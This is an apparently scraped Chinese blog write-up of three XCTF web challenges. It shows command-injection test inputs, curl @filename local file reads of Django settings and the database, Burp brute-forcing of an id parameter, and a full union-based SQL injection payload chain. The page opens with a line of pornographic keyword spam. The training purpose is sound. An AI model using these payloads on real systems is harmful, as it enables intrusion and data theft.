日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XCTF(攻防世界)—进阶web题Write Up(一)

發(fā)布時間:2024/9/30 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF(攻防世界)—进阶web题Write Up(一) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言:這段時間做了一些XCTF的web進(jìn)階題,真的是學(xué)習(xí)到了很多知識,就來總結(jié)一下。

Cat


一開始以為是命令注入,恰好最近學(xué)習(xí)了命令注入,就先來測試一下:

輸入127.0.0.1,發(fā)現(xiàn)是可以ping通的

輸入127.0.0.1 | phpinfo() 或127.0.0.1 & net user就會顯示:

Invalid URL

看來命令注入的方法是行不通的(其他連接符也被過濾了,如&&、||等)

沒有思路了,就看了大師傅們的Write Up,大意就是在URL那里構(gòu)造錯誤的參數(shù),使頁面進(jìn)行報錯,通過頁面報錯從中找出需要的信息。

當(dāng)輸入?url=%79執(zhí)行完時變成了url=y

看來可以傳遞url編碼,服務(wù)器會接受并進(jìn)行解析,所以這里就構(gòu)造最大的參數(shù)看是否會報錯。
HTML URL 編碼

輸入:

?url=%ff

發(fā)現(xiàn)確實報錯

其實在字符編碼方面,ASCII碼在標(biāo)準(zhǔn)符號、數(shù)字、英文等取值范圍是0~127,擴展ASCII碼為128~255,url編碼使用的是16進(jìn)制,一般后臺允許輸入也是標(biāo)準(zhǔn)的ASCII碼而不是擴展ASCII碼,所以當(dāng)輸入的參數(shù)ASCII碼大于127時便會報錯。

報錯出來了就從中找有用的信息,發(fā)現(xiàn):


使用的是python站點,Django框架.百度先大致了解一下Django框架和Django框架目錄,flag一定就在某目錄中放著。

查到關(guān)于數(shù)據(jù)庫的配置文件,可以嘗試一下,看了師傅們的博客說有比賽時這個提示:

RTFM of PHP CURL===>>read the fuck manul of PHP CURL???

那就百度來查PHP CURL,查完還是一頭霧水,看了師傅們的博客說是要找到PHP中curl的CURLOPT_POSTFIELDS。

查到手冊

The full data to post in a HTTP “POST” operation. To post a file, prepend a filename with @ and use the full path. This can either be passed as a urlencoded string like ‘para1=val1?2=val2&…’ or as an array with the field name as key and field data as value. If value is an array, the Content-Type header will be set to multipart/form-data.
使用數(shù)組提供 post 數(shù)據(jù)時,CURL 組件大概是為了兼容 @filename 這種上傳文件的寫法,默認(rèn)把 content_type 設(shè)為了 multipart/form-data。雖然對于大多數(shù)服務(wù)器并沒有影響,但是還是有少部分服務(wù)器不兼容。

發(fā)現(xiàn)這一段話

提供 post 數(shù)據(jù)時,CURL 組件大概是為了兼容 @filename 這種上傳文件的寫法

所以根據(jù)Django的目錄,使用@進(jìn)行文件傳遞,對文件進(jìn)行讀取之后還會把內(nèi)容傳給url參數(shù),超出解析范圍的編碼的時候就會得到錯誤信息。

那就來嘗試從配置文件settings.py的報錯中看看有沒有database的相關(guān)信息
輸入:

?url=@/opt/api/api/settings.py

查到

并且查出了所在路徑

那就按照這個目錄繼續(xù)查詢,看看是否出flag
輸入:

?url=@/opt/api/database.sqlite3

ctrl+f查找ctf得出flag

總結(jié):

這次做題感覺收獲很大,首先是對這種沒有思路時可以去構(gòu)造語句來得出報錯信息,通過錯誤信息來獲得有用的信息。其次就是curl的@+文件名做本地文件讀取,感覺自己還是懂的太少了,寫的write up也有漏洞和問題,不過繼續(xù)努力,附上大師傅博客。
Wupco’s Blog

ics-06


只有報表中心可以點擊進(jìn)去,查看源碼沒有發(fā)現(xiàn)線索,只發(fā)現(xiàn)下面提示是一道送分題,觀察URL發(fā)現(xiàn)無論傳入id的值為多少,頁面都沒有變化,猜測這道題突破口可能就在id傳參上面,那就用burp來爆破。

先用簡單的py腳本生成字典

for a in range (3000):print(a)

發(fā)現(xiàn)到了2223時長度不同,打開即可得出flag

總結(jié):

id能夠傳任意參數(shù)是突破口,主要練習(xí)一下burp爆破

NewsCenter


隨便查一下,發(fā)現(xiàn)有回顯

那這道題考的是SQL注入了,并且是最簡單的回顯注入。

判斷出'為閉合符號,當(dāng)輸入'時頁面報錯,輸入'#頁面回顯正常

判斷列數(shù)

payload:

' order by 1#

判斷出一共有三列

爆數(shù)據(jù)庫

payload:

' and 0 union select 1,database(),user()#


爆數(shù)據(jù)表

payload:

0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news'#


爆字段

payload:

0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' #


爆值

payload:

0' union select 1,group_concat(id,0x3a,fl4g),3 from secret_table#

總結(jié)

以上是生活随笔為你收集整理的XCTF(攻防世界)—进阶web题Write Up(一)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。